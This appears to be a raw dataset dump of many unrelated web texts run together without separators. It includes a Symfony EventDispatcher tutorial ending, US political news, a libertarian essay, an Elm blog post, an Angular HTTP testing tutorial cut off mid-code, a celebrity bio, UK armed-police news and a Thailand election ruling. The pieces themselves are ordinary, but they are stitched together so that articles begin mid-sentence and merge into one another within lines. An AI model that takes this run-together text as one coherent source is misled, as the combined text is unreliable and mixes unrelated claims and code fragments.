decoded_text
stringlengths 4.18k
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(), 'file' => $exception->getFile(), 'line' => $exception->getLine() 'exception' => $exception, 'token' => $token ) ); $event->setResponse(new Response( json_encode(array( 'error' => 'An error occured, if it keeps happening please contact an administrator and provide the following token: '.$token, )), 500, array('Content-Type' => 'application/json')) ); } }
Note: Ramsey UUID is used here to provide a unique token that can be referred to.
Conclusion
EventDispatcher is another example of a simple yet powerful Symfony component. HttpKernel uses it to configure a standard "Symfony application", but also to allow us to change its behaviour.
In this article we've seen the basics and how it works behind the hood when used by HttpKernel, but we could create our own event and dispatch it to make our own code "Open for extension, but Close to modification" (Open/Close principle).New York Republican Rep. Richard Hanna said Tuesday he will vote for Democratic nominee Hillary Clinton in November, becoming the first GOP lawmaker to switch sides in this year’s presidential race.
Hanna, who is retiring at the end of this term after six years in the House, said in an op-ed on Syracuse.com Tuesday morning that Trump’s latest controversy, in which he has repeatedly attacked the parents of a Muslim U.S. Army captain who died in Iraq, was the final nail in the coffin. He called Trump “deeply flawed in endless ways.”
“For me, it is not enough to simply denounce his comments: He is unfit to serve our party and cannot lead this country,” Hanna wrote. “Secretary Clinton has issues that depending on where one stands can be viewed as great or small. But she stands and has stood for causes bigger than herself for a lifetime. That matters.”
Hanna went on to praise Clinton’s work on expanding women’s health care and improving education, two issues he said he is committed to. He said he trusts her to lead the country at a turbulent time.
Hanna, a moderate who holds low scores from conservative groups, didn’t specifically call on his fellow Republican lawmakers to withdraw their support of Trump. But he had previously been in a camp that included GOP Reps. Carlos Curbelo of Florida and Robert Dold of Illinois, who have said they can never support Trump. His decision to vote for Clinton could provide political cover for other Republican elected officials to publicly support the Democratic nominee.
“All Republicans may not like the direction [of Clinton], but they can live to win or lose another day with a real candidate,” Hanna wrote in his op-ed. “Our response to the public's anger and the need to rebuild requires complex solutions, experience, knowledge and balance. Not bumper sticker slogans that pander to our disappointment, fear and hate.”Anarchy as Order
Given what are widespread and prevailing misconceptions, one could perhaps be forgiven for identifying anarchy with unmitigated chaos and libertarianism with today’s corporate avarice. At the same time, Statists — whose systems have rendered nothing but destitution for those they purport to aid — enjoy an opposite but related misbelief, namely, that theirs is the philosophy concerned with economic or social justice. Not only, then, do the state and its influential manipulators use brutality to exploit productive individuals and despoil society of its wealth, they have also inveigled almost everyone into believing that their tools of plunder proceed from a genuine concern for those among us with the least. The coercive apparatuses of the state, however, have never been commanded by the poor and powerless, instead falling under the sway of elites all grasping at the levers of power in attempts to accomplish their ends through force as against voluntary, peaceful means. As characterized by political economist Frederic Bastiat, “When … the legal code imposes mutual sacrifices on the citizens, human nature is not thereby abrogated. Everyone will then direct his efforts toward contributing little to, and taking much from, the common fund of sacrifices. Now, is it the most unfortunate who gain in this struggle? Certainly not, but rather the most influential and calculating.” So in the mainstream, general discourse a view contending merely that no one ought to be able to initiate force against another is misconstrued as merciless and inhuman while the ethics of violence and theft are raised to the level of genuine charity.
Notwithstanding the obvious ethical problems with a social system that places brute force at the center of all human interactions, it should be clear from the empirical evidence that the state has been completely incapable, through its welfare apparatuses, of achieving anything but the most emetic failure, creating a system that is so obviously dehumanizing and arguably racist that it is incredible anyone can defend it in polite society. It is libertarians, though, who are the lepers under the political orthodoxy of today, who must defend voluntaryism as if coercion could ever be a morally tenable option. It is indeed difficult to imagine an arrangement less conducive to charitable giving than one that steals from individuals to provide services that do not even help their recipients, one that fritters away wealth for nothing but the consolidation of entrenched power. It is therefore the state and its flag-bearers who need to carry the burden of proof on the claim that violence and favoritism are the best way to alleviate the hardships of the poverty-stricken.
Rather than advocating the hyper-individualism that libertarians are so often arraigned for, market anarchism is the optimal expedient for social cooperation and harmony, substituting mutual respect between individuals for chaos and its actual source, the state. Though it may at first seem counterintuitive to associate anarchy with order and statism with chaos, even the most cursory inspection of the question reveals that truth. Owing to the state’s aggressive and unwarranted intrusion into our lives, we live at this moment in chaos, with violent crimes against the individual as the norm and with an absence of consistent rules or predictable outcomes. The state, the rule-giver and professed embodiment of order, is actually an institution defined by its regular and arbitrary breaking of social rules, both its own and those demanded by ethics, violating the rights of individuals with complete impunity. While the classic Hobbesian formulation insists that, without the “artificial man” of the state, society would plummet into a lawless war of all against all, that state is more appropriately and accurately descriptive of the strivings of special interests in a democracy than of an anarchic, natural order society. In our lives under the state, everyone competes in what Hans-Hermann Hoppe calls “the production of ‘bads,’” essaying toward positions that will allow them to avail themselves of the advantages of the “political means” to wealth. In contrast to this enshrinement of violence is anarchy’s consistent observation of rules, not capricious or authoritarian rules, but simple rules limiting permissible behavior and regarding what philosopher Roderick Long calls “equality in authority.”
This is what is meant by the statement often made by libertarians that “liberty is the mother, not the daughter, of order”; it is a restatement of the simple but far-reaching truth that excluding the use of aggression from human relationships necessarily gives rise to a “spontaneous order” and amity in society. Similarly, William Aylott Orton said, “In the end, given liberty to learn, men will find that freedom means community.” Anarchy therefore unites individuals as an engine of — in the truest sense — socialization, affirming the words of Friedrich Hayek that the “argument for liberty is not an argument against organization, … but an argument against all exclusive, privileged, monopolistic organization, against the use of coercion ….” Order is the natural and automatic upshot of freedom, individuals aligning their interest not because they are forced to, not even necessarily by purpose or design, but because, insofar as everyone observes the rights of everyone else, it is to their benefit to do so. The organization contemplated by the state, on the other hand, was perhaps best articulated by Hegel, who wrote, “A single person, I need hardly say, is something subordinate, and as such he must dedicate himself to the ethical whole. Hence if the state claims life, the individual must surrender it.” Under such a view, the state is the entity with autonomy and volition, and the individual is relegated to the status of a mere organ in the body politic, to obediently — or, better still, reflexively — discharge its duty to that empyrean thing called “the state.” “[A]ll the worth which the human being possesses, all spiritual reality,” continues Hegel, “he possesses only through the State.” It is no surprise that such a notion, completely disregarding individuals and treating them as disposable means to an end, would yield enmity and contempt between neighbors, dissuading them from philanthropy as they painfully endure the unremitting theft of the state. Statism is hyper-individualistic in the disadvantageous sense of isolating people from one another, of situating people in a defensive, inward-looking framework wherein no right is secure or certain.
This might be thought of as an overly paranoid, cynical assertion, but trade — meaning freed markets — is the most powerful tool human beings have for communication, for interaction between people of assorted cultural and socioeconomic backgrounds. When two ostensibly very different people trade voluntarily, something edifying takes place on a psychological and emotional level. Differences, however ephemerally, fall away in the face of the realization that all individuals share the same basic needs, that they can treat one another with dignity despite any disagreements as to worldview. Conceptually, it may be useful to think of the full scope of state action as economic isolationism or protectionism, its decisions governing which of our wares or services can leave our own borders as sovereign individuals and which can enter. In making these decisions, the state accordingly determines how many of the incidents of ownership over our property we lose to its control and how many we retain. What might be thought of as the economic sphere cannot be severed from the rest of human life because, by forcefully hindering trade, the state chooses the areas of our life that are open to persuasion and free exchange as against monopoly. If individuals were allowed to make any consensual exchanges they so desired, then the state would necessarily vanish, its own very definition requiring it to forcibly prohibit any competition with it in the market for those services which it monopolizes.
The new communitarian philosophers have fulminated against what they see as a growing “atomism” and, concomitantly, dearth of higher virtues in our society. Libertarian anarchists could find much in their arguments with which to agree. It will never be possible for individuals to more fully turn their attention to the cultivation of their minds and souls until those minds need no longer be occupied with the war of “all against all” that the state has foisted on society, rather than delivering it from. The advantages of community, advantages that libertarians should more often celebrate, could never be attained through the state’s “safety nets,” or through anything else the state might do. As an institution, it cannot act but to wage war, whether against an individual or a number of them. In a free society, voluntary associations insuring for retirement or against loss of one’s job would replace government’s machine of violence and subjugation. In this way, rather than individuals living cordoned off lives with their property neatly sequestered from one another, they would be interconnected in voluntary relationships of varying complexities, a peaceful collectivism based on market principles. The anarchists have always known that we would have to rework our semantic frameworks if we were to understand how a free society, a society without a state, might look. “Liberty without socialism,” noted Bakunin, “is privilege, injustice; socialism without liberty is slavery and brutality.” No great theoretical leap is required to appreciate what Bakunin probably meant, that complete freedom to do anything, without some reciprocal respect for rights within the human community, would result in entropic pandemonium. Similarly, he knew that the objectives of social justice, to ensure that everyone’s basic needs are met, could never be realized if the state — organized violence — were allowed to insert itself into relationships, only capacitating exploitation.The Ninth Circuit just issued a disappointing decision affirming the federal conviction of a Montana man for building some ponds without a Clean Water Act permit. Joseph Robertson argued that the Constitution’s Due Process Clause prevents the government from prosecuting him for violating the Act, because it is endlessly confusing as to where it applies in the first place.
Despite seeming to sympathize with Robertson at oral argument, today the Ninth Circuit disagreed. The court relied on its prior decision, River Watch v. City of Healdsburg, which interpreted where the Act applies by adopting the vaguest standard available for that question. The appellate court’s endorsement of City of Healdsburg is doubly disappointing, since that case decides the scope of federal power under the Clean Water Act based on one criterion only: what interferes the least with federal power over citizens?Wednesday 05.09.12 « Opportunities knocking | Main | Chase Biado at PSU's White Gallery » Monograph turns two
Sure Portland has some great big bookstores but there's this little one just off NE Alberta that has my heart... So join
Monograph Bookwerks
B'Day Party: Thursday May 10th 7-10PM
5005 NE 27th ave at Alberta Sure Portland has some great big bookstores but there's this little one just off NE Alberta that has my heart... So join Monograph Bookwerks for their second anniversary. There will be Prosecco beverages and snax, book giveaways, friends and cheer to celebrate Monograph as it enters its "terrible twos"... never grow up little one and may everyone be lucky enough to witness an art book tantrum!
Posted by Jeff Jahn on May 09, 2012 at 20:12 | Comments (0) Comments Post a comment Thanks for signing in,. Now you can comment. (sign out) (If you haven't left a comment here before, you may need to be approved by the site owner before your comment will appear. Until then, it won't appear on the entry. Thanks for waiting.)USPS indicates that they delivered my book so I want to give my secret santa credit for shipping, however I have not received it. I have filed a claim with the post office to find out what happened. I work from home so I am here all day - they definitely did not deliver something on the day online tracking indicates they did. I believe they must have mis-delivered. I hope this can be tracked down or at the very least whomever received my book will enjoy it at as much as I am I sure I would have!
Update: My Secret Santa did a fantastic job sending me 4 awesome books for this exchange. It has taken me a little while to catch up on this due to health issues, but I wanted to make sure that she got just acknowledgement for being a fantastic Secret Santa. She sent me the Fatal Revenant by Stephen R. Donaldson that I asked for (because my son "borrowed" my copy and never brought it back) and found me a new true crimes author to read - Kathryn Casey - who wrote Deliver Us about three decades of murder in the infamous I-45/Texas killing fields. And to top that off, she managed to have Megan Powell send me an unabridged audio book of her first book No Peace for the Damned and a SIGNED by the author copy of her second book No Love for the Wicked! Awesomeness all around! I love signed books by the authors! This was a fantastic gift exchange, even with it taking a little bit for the post office to finally get things to me. I love all of the books.
Thank you Secret Santa!Sen. John Kennedy John Neely KennedyMORE (R-La.) said President Trump’s meeting with GOP senators Tuesday was “positive” and that “nobody called anyone an ignorant slut.”
“It was a very positive meeting. Nobody called anyone an ignorant slut,” Kennedy said, according to Independent Journal Review’s Haley Byrd.
“It was a very positive meeting,” Republican Sen. Kennedy says after Trump GOP lunch. “Nobody called anyone an ignorant slut.” — Haley Byrd (@byrdinator) October 24, 2017
Kennedy was referring to the famous “Point-Counterpoint” sketch from "Saturday Night Live" (SNL).
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During the "Weekend Update" sketch, SNL star Dan Aykroyd would begin each response to fellow cast member Jane Curtin with the phrase, “Jane, you ignorant slut.”
Trump met with GOP senators on tax reform during a closed-door lunch Tuesday. The meeting took place after Trump and Sen. Bob Corker Robert (Bob) Phillips CorkerBrexit and exit: A transatlantic comparison Sasse’s jabs at Trump spark talk of primary challenger RNC votes to give Trump 'undivided support' ahead of 2020 MORE (R-Tenn.) reignited a feud on Twitter and during TV appearances.
Kennedy told reporters that the exchanges hadn’t come up during the meeting, despite both Corker and Trump having attended the lunch.
Trump went after Corker in a series of tweets earlier Tuesday.
“Bob Corker, who helped President O give us the bad Iran Deal & couldn't get elected dog catcher in Tennessee, is now fighting Tax Cuts... Corker dropped out of the race in Tennesse when I refused to endorse him, and now is only negative on anything Trump. Look at his record!" Trump tweeted.
Corker fired back during an interview with CNN, saying he would not support Trump for the presidency again.
"I don't know why he lowers himself to such a low, low standard and debases our country in the way that he does, but he does," Corker said. "I think the debasing of our nation... will be what he'll be remembered most for."My First Impressions with Elm
S.C. Barrus Blocked Unblock Follow Following Apr 5, 2016
Recently I started getting very interested in Elm, a functional programming language for the front end that compiles down to HTML, CSS and JavaScript. I’ve never really found myself drawn to compile to JavaScript languages before, but the more I heard about Elm, the more interested I became.
The Inspiration for Redux
I first heard Elm mentioned as I began learning Redux, the data handling layer for React and other front end frameworks. While creating Redux, Dan Abramov looked to the Elm architecture for inspiration. Redux is a solid data handling paradigm, so what inspired it must be pretty great, right? In any case, I was intrigued.
Then I began watching Elm keynote videos to learn more high level stuff about the language quickly. The speakers gushed over Elm. They cited its functional, declarative style, great error handling, and ease of refactoring as major points in Elm’s favor.
No Red Ink’s Experience with Elm
One presentation in particular really planted the seed for me (video below). Speaker Richard Feldman spoke about how user friendly Ruby on Rails is for the backend, and how he had wished there was a comparable language for the front end.
When his company, No Red Ink, switched from their previous stack to React + Flux, it was a major upgrade for them, but there were some headaches associated with refactoring.
According to Richard, the React stack is really great at taking multiple, complicated layers, and organizing them in a way that is easy to reason about. This is my feeling on React as well, an ecosystem I really enjoy working in. But when No Red Ink’s product wasn’t as effective as they had hoped, they saw a need to do a major refactor.
I know from experience the headache this can be from when I swapped Flummox for Redux on a project for Concur’s App Center. In my case, I was really only changing the data layer. From the sound of it, Richards team needed an entire product overhaul, and the React paradigm wasn’t exactly facilitating it.
Then they started to test out Elm. Not only does Richard claim that Elm is quick to build and simple to refactor, he also claims that their team makes sizable refactors on a regular basis without headache. Ok, Elm is something that I needed to see.
My First Impressions of Elm
To get my feet wet, I decided to follow Richards straight forward tutorial on creating a live validating form with Elm. It’s a great tutorial, even if it suffers from some unfortunately formatted code snippets (the lines don’t wrap, so some longer lines of code get cut off making you guess what’s going on).
So how do I feel about Elm after this first experience? Pretty great actually!
1. I Like the Syntax.
Below is a code snippet from the tutorial. To me the syntax seems fairly Ruby-esque. Parameters are space separated after the function declaration, giving it a clean look, and functions automatically return the last thing declared.
Beyond that, it surprised me just how simple it was to add validations to this short form. The logic was simple, terse and effective. From my first foray, I can see why Elm’s proponents praise the language for development efficiency.
view actionDispatcher model =
form
[ id “signup-form” ]
[ h1 [] [ text “Sensational Signup Form” ]
, label [ for “username-field” ] [ text “username: “ ]
, input [ id “username-field”
, type’ “text”
, value model.username
, on “input” targetValue (\str -> Signal.message actionDispatcher { actionType = “SET_USERNAME” } )
] []
2. The Errors are… Polite?
Yeah, that’s right. These are the most polite error messages I’ve ever seen. I remember working with Ruby on Rails and thinking just how useful their error messages were. With Rails, you can develop a basic crud app without any scaffolding by simply following the error messages.
Elm’s messages seem to be just as, if not more useful than those in Rails. Wow!
Here’s an example:
The 2nd argument to function `onClick` is causing a mismatch.
65│ onClick actionDispatcher { actionType = “VALIDATE”, payload = “” }
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Function `onClick` is expecting the 2nd argument to be:
{ … }
But it is:
{ …, payload : … }
Hint: I always figure out the type of arguments from left to right. If an
argument is acceptable when I check it, I assume it is “correct” in subsequent
checks. So the problem may actually be in how previous arguments interact with
the 2nd.
Detected errors in 1 module.
Oh, and when downloading dependancies, Elm makes you feel kind of like the Capt. Picard (yes, Next Generation is my Star Trek):
Some new packages are needed. Here is the upgrade plan.
Install:
elm-lang/core 3.0.0
Do you approve of this plan? (y/n)
Why yes I do approve, number 2.
3. Functional Programming FTW
This one is kind of obvious. Elm is a functional language. I’m a fan of functional programming, and exercise functional practices in JavaScript. Elm was my first trip into a purely functional language, and I have to say, I really liked it.
Functions in Elm are pure, meaning they have no side effects. Functions explicitly return their last declaration. They are called by a space. I haven’t delved deeply enough into Elm to expand any more on this yet, but I hope to soon.
4. It Just Seems Very Efficient
I sorta already covered this when I talked about syntax, but Elm seems to take very little effort to get semi-complex things done. Of course my experience with Elm is super limited thus far, but what I’ve heard and what I’ve seen seem to line up with this.
Expanding on that: one thing I’m looking forward to learning more about is how much easier Elm supporters say it is to manage and refactor than something like React or Angular.
I’ve seen a few people claim that everything is easier without offering up concrete examples or anecdotes. If you’ve used Elm in production and agree with the above statement, please share just what about it is easier (or conversly, if you disagree I’d like to hear about that too).
Conclusion
I’m really excited to take a deeper dive into Elm, and though the Elm community is small, they also seem very passionate. Time will tell how the Elm language fares, but I have high hopes for it thus far. I’ll be sure to share some deeper insights once I have the footing to do so. Til then, ttfn.Vasillis Online via Flickr Google is getting close to launching Drive, an online storage service that would compete with Dropbox and Microsoft's SkyDrive.
That's according to Amir Efrati of the Wall Street Journal, who reports that the service will launch in "weeks or months."
Google Drive will let users store photos, documents, and videos, then access them from any device with a Web connection, including smartphones.
It will also make it easier to share huge files -- instead of attaching a file to an email message, users will simply send links to the file, which will be automatically stored in Drive. This is almost identical to how Microsoft SkyDrive works with Hotmail.
Google will aim to undercut Dropbox on price, says the report, and will make Drive free to most consumers and businesses except for those who need a ton of storage. Dropbox is free up to 2GB, while SkyDrive is free up to 25GB*.
Drive will also be tied into Google Apps, and could eventually evolve into a collaboration and storage service similar to Box.net.
Google was close to launching a similar service called G Drive way back in 2007, but killed it because it "sucked," according to MG Siegler, who followed the initiative when he was reporting for TechCrunch.
*Update: Corrected the amount of storage offered by SkyDrive. It used to be 5GB, but was increased to 25GB back in 2008.Lunyr Dev Update — October 12, 2017 — Advertising System Smart Contracts Developed
Lunyr Blocked Unblock Follow Following Oct 12, 2017
Welcome to another Lunyr Update. This week we’re excited to announce that the smart contracts for the advertising system have been developed.
Advertising System
Advertisers will be able to select a time window and an article and spend LUN to purchase a proportional amount of advertising time in that article. So we’re not doing CPM, it’s more like a digital billboard. If Alice pays 2 LUN and Bob pays 1 LUN, Alice gets ⅔ of the time and Bob gets ⅓ because a total of 3 LUN was paid. We spent a lot of time pairing down the system so that it would have a really simple, easy to understand interface. For discussions about the advertising system please visit this page.
We also spent bit of time porting our API from Golang to Node. After rapidly getting something out the door we’re now fine-tuning the system.
Public User Profiles with portfolio
The user profiles are also getting an upgrade. A description section has been added for users to share public information. Also, the article submissions and edits of a user will now be publicly viewable. Thus, writers will have a public portfolio of their writing and editing work to show off to potential hiring managers.
This upgrade also enables transparency on the Lunyr platform. Any bad actors will be verifiable by viewing their portfolios.
Dev Updates
New features
Public user profiles
User portfolios with article submissions and edits
Advertising System smart contracts developed
Backend
Porting API to Node
Frontend
Various small issues resolved
Gas slider adjusted to improve transaction speed and user experience
For any questions or feedback please post on https://www.reddit.com/r/Lunyralpha.
Users interested in joining the Private Alpha can signup here. Invited testers will receive an email with further instructions.
See also:Overview (4)
Mini Bio (1)
Jimmi Simpson is an American actor. He was born in Hackettstown, New Jersey, the youngest of three brothers. After graduating from Bloomsburg University with a Bachelor of Arts in theater, he acted for four seasons at the Williamstown Theatre Festival in Massachusetts.
Simpson made his film debut in the teen comedy Loser (2000).
He is best known for his television work, which includes roles in Netflix political drama series House of Cards (2013), and the HBO television series Westworld (2016).
- IMDb Mini Biography By: Pedro Borges
Spouse (1)
Trivia (8)
Has two older brothers.
Graduated from Bloomsburg University.
Worked at Nap's Pizza while in college.
Was known by the crew of Loser (2000) as "Lips".
Was roommates both in New York and Los Angeles with fellow actor Charlie Day
Filming for The Academy (2003), which should be coming out later this year or next. [June 2003]
Personal Quotes (4)
There are a lot of pros to doing a film, as far as it helping your film career, and it is completely different financially. But theatre is the only place where you get to actually be the character, and nobody is going to come around and change it later.
I pretty much got into theatre to do community theatre and things, but then I went to Williamstown and found an agent. I then went to New York and did a lot of theatre there, so I started doing only theatre.
I got my degree in theatre at a little school in Pennsylvania, Bloomsburg University. It was one of those situations where I went into the major because I loved it, but didn't really expect to see it as a moneymaking situation or career.
Theatre is really difficult, so it's important that you have a director that kind of understands that and is really hands on.Police firearms officers have been trained by the SAS to shoot terrorists in the head amid the growing threat from Islamist fanatics.
Police chiefs insist there is no “shoot to kill” policy within British policing but accept that such actions are likely to “prove fatal”.
Armed officers have been working alongside special forces to ensure they can best tackle a marauding gun and bomb attack like the ones witness in Paris and Mumbai.
A record number of the officers was on the streets of London on New Year’s Eve amid fears terrorists were planning to target festivities.
Events in Paris and Brussels were cancelled while police in Munich shut two railway stations after receiving specific intelligence from the French that Isil fanatics were planning to target the city.
• Armed forces would play 'key role' in event of Paris-style attack in London
Scotland Yard has already doubled the number of firearms officers on the street at any one time in the wake of November’s Paris attacks, which left 130 dead.
But Simon Chesterman, the deputy chief constable of the Civil Nuclear Constabulary and national lead on armed policing, has revealed officers have also been trained to deal with attackers decisively.
“Police forces in the UK do not have a ‘shoot to kill’ policy, armed officers are trained to use as much force as is reasonable in the circumstances,” he said.
Photo: Wenn
“Armed officers undergo rigorous training, which allows them to make a judgement call on whether life is at risk.
“For the most extreme threats, or if there is no other option, this training includes critical head shots.
“We do not shoot to kill, we shoot to stop the threat but inevitably this is highly likely to prove fatal.
“Officers must be able to justify that their action amounted to reasonable force to protect themselves or others in a bid to protect human life.”
• Fears over lack of armed police to protect New Year revellers
In comments before the New Year crackdown, he added: “We have worked very closely with UK special forces to ensure that we are fully interoperable with them; we established working groups involving special forces advisers to develop and implement effective tactics for terrorist attacks.”
Police forces regularly carry out exercises simulating marauding attacks and it emerged last month that officers are now trained to ignore victims and storm buildings containing terrorists immediately in order to save lives.
Officers are told to “go forward” and tackle gun-wielding terrorists at the earliest opportunity regardless of whether wounded people are lying around them.
It follows concerns that in recent attacks fanatics began shooting hostages immediately.
The move is in contrast to traditional “contain and assess” policing tactics and more in keeping with military methods.Get the "Migrating an Angular 1 App to Angular 2 book" for Free. Spread the word and Spread the word and download it now!
When we write a web application, most of the time it has a backend. The most straightforward way to communicate with the backend is with HTTP requests. These requests are crucial for the application, so we need to test them. More importantly, these tests need to be isolated from the outside world. In this article I will show you how to test your requests properly and elegantly.
This article is the second part of a series in which I share my experiences testing different building blocks of an Angular application. It relies heavily on Dependency Injection based testing and it is recommended that you read the first part if you are not familiar with the concepts.
Services
HTTP Services (this article)
Components
Pipes
Routing
Testing our first request
To get started we will test a basic request, the GET request. It will call a parameterized url without a body or additional headers. The Github API has an endpoint for retrieving public profile information about users. The profile information is returned in JSON format.
import { Injectable } from '@angular/core'; import { Http, Response } from '@angular/http'; import 'rxjs/add/operator/map'; @Injectable() export class GithubService { constructor(private http: Http) {} getProfile(userName: string) { return this.http.get(`https://api.github.com/users/${userName}`).map((response: Response) => response.json()); } }
The getProfile method sends a GET request to the API and returns the response. Every request made with the HttpModule returns an Observable. The returned value will always be a Response object, which can return the response body. With the help of the json or text method we can transform the value of the Observable.
The first thing we have to do is to set up the test dependencies. The Http dependency is required. If we don't provide it, we will get this error message: No provider for Http!.
beforeEach(() => { TestBed.configureTestingModule({ providers: [GithubService], imports: [HttpModule] }); });
The problem with the real HttpModule is that we will end up sending real HTTP requests. It is an absolutely terrible idea to do this with unit tests, because it breaks the test's isolation from the outside world. Under no circumstances will the result of the test be guaranteed. For example, the network can go down and our well-crafted tests will no longer work.
Instead, Angular has a built-in way to fake HTTP requests.
import { MockBackend, MockConnection } from '@angular/http/testing'; import { Http, BaseRequestOptions, Response, ResponseOptions, RequestMethod } from '@angular/http';... beforeEach(() => { TestBed.configureTestingModule({ providers: [ GithubService, MockBackend, BaseRequestOptions, { provide: Http, useFactory: (mockBackend: MockBackend, defaultOptions: RequestOptions) => { return new Http(mockBackend, defaultOptions); }, deps: [MockBackend, BaseRequestOptions] } ] }); });
Instead of providing Http as a module, it is better to use the factory provider and pass the MockBackend instance to the Http constructor. This way the fake backend captures every request and can respond accordingly.
Before writing the first test it is also important to get an instance of the MockBackend, because without it we won't be able to respond to requests.
beforeEach(inject([GithubService, MockBackend], (github, mockBackend) => { subject = github; backend = mockBackend; }));
Let's write the first test that checks the result of the request.
it('should get profile data of user', (done) => { let profileInfo = { login:'sonic', id: 325, name: 'Tester' }; backend.connections.subscribe((connection: MockConnection) => { let options = new ResponseOptions({ body: profileInfo }); connection.mockRespond(new Response(options)); }); subject.getProfile('blacksonic').subscribe((response) => { expect(response).toEqual(profileInfo); done(); }); });
Requests made are available through the connections property of the fake backend as an Observable. When it receives the request through the subscribe method we can respond with a JSON object.
In our example only the response body is set. In addition, you can set the status and the headers of the request.
Another new element is the done callback that is passed into the test function. It is needed when writing asynchronous tests. This way the test doesn't end when the execution of the function ends. It will wait until the done callback is called. Of course, there is a timeout for hanging tests that don't call this done method within a given interval.
HTTP requests are asynchronous by nature, but the fake backend we use responds to them synchronously (it calls the subscribe method synchronously). You may wonder what makes the test asynchronous, then.
The answer is false positive tests. If we comment out the response to the request, the test will still pass, even though we have an assertion. The problem here is that the subscribe callback never gets executed if we don't respond to the request.
it('should get profile data of user', () => { // backend.connections.subscribe... subject.getProfile('blacksonic').subscribe((response) => { expect(response).toEqual(profileInfo); }); });
Checking the request
Until now we haven't made any assertions for the request. For example, what was the called url, or what was the method of the request? To make the test more strict we have to check these parameters.
backend.connections.subscribe((connection: MockConnection) => { expect(connection.request.url).toEqual('https://api.github.com/users/blacksonic'); expect(connection.request.method).toEqual(RequestMethod.Get);... });
The original Request object resides on the MockConnection object. With its url and method property, we can add the assertions easily.
Digging deeper
GET requests are good for retrieving data, but we'll make use of other HTTP verbs to send data. One example is POST. User authentication is a perfect fit for POST requests. When modifying data stored on the server we need to restrict access to it. This is usually done with a POST request on the login page.
Auth0 provides a good solution for handling user authentication. It has a feature to authenticate users based on username and password. To demonstrate how to test POST requests, we will send a request to the Auth0 API. We won't be using their recommended package here, because it would abstract out the actual request, but for real-world scenarios I would recommend using it.
@Injectable() export class Auth0Service { constructor(private http: Http) {} login(username: string, password: string) { let headers = new Headers({ 'Content-Type': 'application/json' }); let options = new RequestOptions({ headers }); return this.http.post( 'https://blacksonic.eu.auth0.com.auth0.com/usernamepassword/login', { username, password, client_id: 'YOUR_CLIENT_ID
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hazards, then the [person] will find his calling and election made sure".[15][16] The second anointing is performed only on married couples. A few writers have argued that because of this, women who receive the second anointing, in which they are anointed queens and priestesses, are ordained to the "fulness of the priesthood" in the same manner as their husbands. These scholars suggest that Smith may have considered these women to have, in fact, received the power of the priesthood, though not necessarily a specific priesthood office.[17]
See also Edit
Notes EditBANGKOK — Thailand’s Constitutional Court has voided the country’s latest elections in a move sure to deepen the country’s ongoing political crisis. The ruling that nullifies the February 2 vote puts more heat on Prime Minister Yingluck Shinawatra’s wobbly caretaker government. It also raises the prospect of more bloody confrontations in the bitter long-running battle for political and economic control of this Southeast Asian kingdom.
Protesters determined to topple the government have been on the streets of Bangkok for more than four months in a campaign that so far has seen more than 20 people killed and scores more injured. Supporters of Yingluck and her exiled brother, former Prime Minister Thaksin Shinawatra, are concentrated in the north and northeast of the country and have not taken to the streets so far. But developments such as the Friday ruling, and a decision against Yingluck in a pending impeachment action by the National Anti-Corruption Commission, could easily lead to eruptions of renewed violence in the capital and elsewhere.
A well-informed government source tells The Daily Beast that government supporters, so-called Red Shirts, have declared a red line around the impeachment of the prime minister. They are planning to stage major demonstrations if the commission moves against her. Thousands of protesters would then flood into Bangkok from Shinawatra strongholds in Chiang Mai and Udon Thani.
Just last week, the Red Shirts' umbrella movement, the United Front for Democracy Against Dictatorship, selected hardliner Jatuporn Promphan as its chairman, raising fears that more violence could be on the horizon. Jatuporn led the Red Shirts in 2010 when they staged huge protests and took over downtown Bangkok--which culminated in a violent crackdown by a government then in the hands of Shinawatra opponents. More than 90 people were killed.
Government supporters called the court’s ruling part of an all-out effort by Thailand’s traditional ruling classes to prevent real democracy from taking root and to remove the populist threat to their power posed by the Shinawatras and their allies in the Pheu Thail party.
“This is not a surprise,” says Sean Boonpracong, a Yingluck national security adviser. The Constitutional Court is “absolutely part of the old guard trying to usurp power,” he tells The Daily Beast. The court’s 6-3 decision is “a politically motivated ruling.”
“There has been a shift in paradigm—an emerging middle class, more or less committed to democracy, that is on the rise; but an elite ruling class battling against that,” says Boonpracong. “These are people who wrote the rules after the coups in this country, and who nevertheless lost the 2011 election [when Yingluck and Pheu Thai won handily], but won’t recognize the new paradigm. They can’t adjust, and are still trying to control the country.”
A spokesman for the leading protest group, the People’s Democratic Reform Committee, had a far different take. In a text message to The Daily Beast, Akanat Promphan said, "Today's Constitutional Court ruling shows that the Yingluck administration's insistence on holding elections—despite the lack of national readiness—is at fault. The crux of the matter is not the date of the next elections, but ensuring that elections are free, fair, and clean. The court ruling presents the opportunity for Thailand to implement the necessary reforms to achieve this so we can all move forward together as a nation."
The PDRC insists that no election be held ahead of vague “reforms” designed none too subtly so as to undermine the Shinawatras’ populist majority. It also wants an unelected royal commission be appointed to oversee and implement such measures. That position is shared by the leading opposition Democrat Party, which boycotted the February 2 election and is already indicating it may not contest a new election. Yingluck’s Pheu Thai maintains that any reforms can be pursued after voters democratically elect a new parliament and government.
The Constitutional Court’s ruling held that the February vote violated the requirement that elections be completed in a single day. In fact, protests and disruptions prevented millions of Thais from voting in 28 of 375 precincts, and the court on Friday stated that holding a new vote in those constituencies would be legally “impossible because it would mean the elections were not held on the same date throughout the kingdom." Therefore, according to the court majority, an entirely new round of elections is required.
The ruling comes amid suspicion about the impartiality of the high court, the judiciary generally, and entities such as the National Anti-Corruption Commission. The commission has accused Yingluck of malfeasance in a rice-subsidy program aimed at improving the incomes of Thai rice farmers.
“The most frightening aspect of today’s decision is not the nullification of the election, but rather the nullification of the constitution and self-destruction of the court’s legitimacy,” legal scholar Verapat Pariyawong told The Daily Beast in an email. “By acting in such flagrant contradiction of the Constitution, the court is elevating its status from mere opponent of politicians to the enemy of democracy,” he said.
Critics of the ruling argue that, having failed to defeat the ruling party at the ballot box or induce the Thai Army to stage a coup, opponents have turned to the judiciary to oust Yingluck and her party.
As Verapat notes, since it was anti-government protesters who prevented a complete election on February 2 by blocking voters at some polling stations and forcing a number of election officials to abandon their posts “the reasoning of the court is paving ways for anyone to have the power to nullify an entire election simply by obstructing candidates from registering in a single district.” The same court had refused to rule against the protest movement, thus opening the way for the obstruction in the first place, says Verapat.
Several sources have told The Daily Beast that the ultimate goal of government opponents is to bring down Yingluck by the start of the Thai new year celebrations, a festival called Songkran. If so, the prime minister doesn’t have much time left. Songkran starts April 13.It was another chaotic day at the Guantanamo military commissions.
